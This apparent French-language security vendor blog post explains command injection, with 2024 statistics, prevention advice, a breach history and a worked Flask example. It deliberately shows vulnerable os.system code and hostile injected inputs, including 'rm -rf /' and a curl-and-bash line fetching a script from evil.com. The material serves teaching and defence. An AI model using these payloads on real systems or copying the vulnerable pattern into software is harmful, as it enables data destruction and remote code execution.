L'injection de commandes en 2024 décryptée

Qu'est-ce que l'injection de commandes ?

L'injection de commandes est une vulnérabilité encore très répandue dans les applications web, bien que moins connue que ses cousines, l'injection SQL ou l'injection de code. Si vous êtes familier avec d'autres vulnérabilités par injection, vous reconnaîtrez le principe commun : les entrées utilisateur non fiables ne sont pas correctement validées, conduisant à l'exécution de commandes système arbitraires. Cette faille se produit lorsque des entrées non validées sont transmises à des fonctions de niveau système. Alors, quelle est réellement l'ampleur de l'injection de commandes ? Nous avons examiné à quel point il est courant de voir cette vulnérabilité sur le terrain, *spoiler*, c'est étonnamment fréquent !

Exemple d'injection de commandes

Prenons cet exemple d'injection de commande : imaginons que vous ayez une application où vous pouvez saisir le nom d'un fichier hébergé sur un serveur. L'application récupère ce fichier et en affiche le contenu. Le code correspondant est ci-dessous.

import os

file_name = input("Enter the file name: ")
os.system(f"cat {file_name}")

Le code ci-dessus s'attend à ce qu'un utilisateur insère un nom de fichier tel que file.txt , mais qu'un utilisateur malveillant injecte du code pour exécuter des commandes malveillantes.

Par exemple
Nom du fichier : file.txt; rm -rf /

Cette entrée afficherait d'abord le contenu de file.txt et ensuite exécuter le malveillant rm -rf commande, qui supprimera de force tous les fichiers d'un répertoire.

L'utilisateur malveillant peut le faire car l'application n'a pas validé ou assaini l'entrée de l'utilisateur, rendant l'application susceptible à l'injection de commandes.

Si vous souhaitez un exemple plus complet, consultez le contenu bonus en bas de cette page.

L'injection de commandes en chiffres : Notre étude.

• 7 % de toutes les vulnérabilités découvertes dans les projets open-source en 2024 étaient des injections de commande.
• 5,8 % pour les projets closed-source !
• Une augmentation du nombre total de vulnérabilités d'injection de commandes dans les projets open source  passant de 2 348 (2023) à un nombre attendu de 2 600 (2024).
• En pourcentage de toutes les vulnérabilités, l'injection de commandes est moins populaire : une diminution de 14,6 % et 26,4 % pour les projets open source et closed source respectivement de 2023 à 2024.

Nos recherches ont porté sur l'étude des projets open source et closed source afin de révéler combien d'entre eux contenaient des vulnérabilités de type "command injection" cachées.

Globalement, le nombre de vulnérabilités par injection de commande est très élevé, représentant 7 % de toutes les vulnérabilités signalées dans les projets open source et 5,8 % dans les projets closed source. Ce chiffre est assez proche du nombre de vulnérabilités par injection SQL détectées.

Il y a aussi de bonnes nouvelles à tirer des données : nous observons une tendance solide à la réduction de ces vulnérabilités de 2023 à 2024. En pourcentage de toutes les vulnérabilités, nous avons constaté une réduction de 27 % dans les projets closed source et de 14 % dans les projets open source. De nombreux facteurs y contribuent probablement, l'un des plus significatifs étant que le FBI et la CISA ont, en 2024, désigné l'injection de commandes comme une menace réelle et ont exhorté les fournisseurs à y prêter attention. Selon les données, cet avertissement a été entendu.

La bonne nouvelle s'arrête malheureusement là. Nous constatons toujours une augmentation du nombre total de vulnérabilités signalées dans les projets open-source. Le nombre total de vulnérabilités par injection signalées dans les projets open-source est passé de 2 348 en 2023 à 2 450 jusqu'à présent en 2024 (devrait atteindre 2 600)

Comment prévenir l'injection de commandes

La prévention des vulnérabilités par injection de commandes nécessite une approche multifacette :

Validation des entrées côté serveur

Une erreur courante est de n'effectuer que des validations côté client, qui peuvent être contournées par un attaquant effectuant une requête directe.

import subprocess

# Exemple d'entrée restreinte
allowed_files = ['file1.txt', 'file2.txt']
user_input = "file1.txt"  # Ceci devrait provenir de l'utilisateur, mais est validé

if user_input in allowed_files:
   subprocess.Popen(['ls', '-l', user_input])
else:
   print("Entrée invalide !")

Évitez les commandes shell

Remplacez les commandes shell par des fonctions ou bibliothèques natives du langage lorsque cela est possible. Ci-dessous un exemple d'utilisation du mode lecture seule pour ouvrir un fichier et en lire le contenu.

with open("file.txt", "r") as f:
print(f.read())

Tests automatisés

Utilisez des outils comme Aikido pour analyser votre code source et votre application afin de découvrir ces vulnérabilités.

Utilisez un pare-feu intégré à l'application

L'une des meilleures défenses contre les attaques par injection est un pare-feu intégré à l'application capable de détecter et de bloquer les commandes malveillantes. Le pare-feu intégré à l'application d'Aikido, Zen, disponible en open-source et en version commerciale, est capable de détecter et de bloquer les attaques par injection en temps d'exécution.

Appliquer le principe du moindre privilège

Configurez les applications et les utilisateurs pour qu'ils s'exécutent avec les privilèges minimaux nécessaires, réduisant ainsi les dommages potentiels liés à l'exploitation.

La voie à suivre

L'injection de commandes, ainsi que de nombreuses vulnérabilités par injection, représente un défi. D'un point de vue technologique, nous avons résolu ce problème, ce qui signifie qu'il n'est pas nécessaire d'avoir ce type de vulnérabilité dans vos applications. Ceci étant dit, le fait que nous voyions encore autant de ces types de vulnérabilités signifie que nous ne pouvons pas nous attendre à un saut quantique d'amélioration.

L'injection de commandes continuera d'être un problème. Cependant, comme nous avons constaté une baisse significative cette année, de grandes organisations se concentrant sur cette vulnérabilité, il y a de l'espoir de penser que l'injection de commandes pourrait devenir moins prégnante à l'avenir si nous continuons à la sensibiliser.

Contenu bonus

Une histoire de l'injection de commandes : Brèches notables

L'injection de commandes est une menace persistante depuis longtemps. En fait, une vulnérabilité significative d'injection de commandes était présente dans bash de 1989 jusqu'en 2014. Plus récemment en 2024, l'importance de l'injection de commandes a été soulignée par la CISA et le FBI, montrant que cela reste une préoccupation majeure.

1. Les débuts de l'injection de commandes

• Première utilisation connue : Les vulnérabilités d'injection de commandes sont apparues avec l'essor des systèmes informatiques multi-utilisateurs dans les années 1970 et 1980, permettant aux attaquants d'exécuter des commandes arbitraires via des entrées non assainies.
• Années 1980 et 1990 : La prolifération des technologies web a entraîné une exploitation accrue des injections de commandes, notamment via des scripts CGI mal sécurisés.

2. Failles et exploits significatifs

• 1998 : La première attaque par injection de commandes web documentée : Une vulnérabilité dans un script CGI basé sur Perl largement utilisé a été exploitée, marquant l'un des premiers incidents majeurs d'injection de commandes web.
• 2010 : Ver Stuxnet (Injection de commandes embarquées) : Stuxnet a utilisé l'injection de commandes pour cibler les systèmes de contrôle industriels, démontrant la portée de cette vulnérabilité au-delà des environnements informatiques traditionnels.

3. Années 2010 : Exploitation à grande échelle

• 2014 : Vulnérabilité Shellshock : Shellshock (CVE-2014-6271) a exploité le traitement des commandes de Bash, affectant des millions de systèmes dans le monde entier.
• 2018 : Exploit VPN Cisco ASA (CVE-2018-0101) : Une vulnérabilité d'injection de commandes dans le logiciel ASA de Cisco a permis l'exécution de code à distance, compromettant la sécurité des entreprises.

4. Années 2020 : Exploits et Tendances Modernes

• 2020 : Exploit Citrix ADC Gateway : Des attaquants ont exploité des vulnérabilités d'injection de commandes dans les systèmes Citrix, entraînant d'importantes fuites de données.
• 2023 : Vulnérabilité MOVEit (Injection SQL et de commandes) : Une faille d'injection de commandes dans le logiciel MOVEit Transfer a entraîné des fuites de données généralisées dans de nombreuses organisations.

Vulnérabilité réaliste par injection de commande

Le code vulnérable

Examinons un exemple légèrement plus complexe d'injection de commandes. Ci-dessous se trouve du code pour une simple application web Python. Il permet aux utilisateurs de créer une archive ZIP de fichiers spécifiés en envoyant une requête POST au /archive route.

from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/archive', methods=['POST'])
def archive_files():
   files = request.form.get('files')  # User provides file names to archive
   archive_name = request.form.get('archive_name')  # User provides archive name
   
   command = f"zip {archive_name}.zip {files}"  # Command built dynamically
   os.system(command)  # Execute the system command

   return f"Archive {archive_name}.zip created successfully!"
if __name__ == "__main__":
   app.run(debug=True)

Comment cela fonctionne

L'utilisateur fournit :

• fichiers (par ex., file1.txt file2.txt) pour spécifier les fichiers à inclure dans l'archive.
• archive_name pour spécifier le nom de l'archive zip résultante.

Le code construit une commande shell de manière dynamique :

1. zip archive_name.zip file1.txt file2.txt

2. Le os.system() fonction exécute la commande, permettant aux entrées fournies par l'utilisateur de dicter son comportement.

Exploitation

Un attaquant exploite cela en injectant des commandes supplémentaires dans le archive_name ou fichiers entrées.

Entrée fournie par l'attaquant :

• archive_name: my_archive; rm -rf /
• fichiers: file1.txt

La commande résultante :

zip my_archive.zip file1.txt; rm -rf /

1. zip my_archive.zip file1.txt: Crée une archive comme prévu.
2. ; rm -rf /: Supprime tous les fichiers sur le serveur en exécutant une commande destructive distincte.

Un exemple plus sophistiqué

L'attaquant pourrait exploiter cela pour télécharger des malwares ou exfiltrer des données :

archive_name: archive; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh

Commande résultante :

zip archive.zip file1.txt; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh

Cette commande :

1. Crée une archive (zip archive.zip file1.txt).
2. Télécharge du code malveillant (curl -o malware.sh http://evil.com/malware.sh).
3. Exécute le malware (bash malware.sh).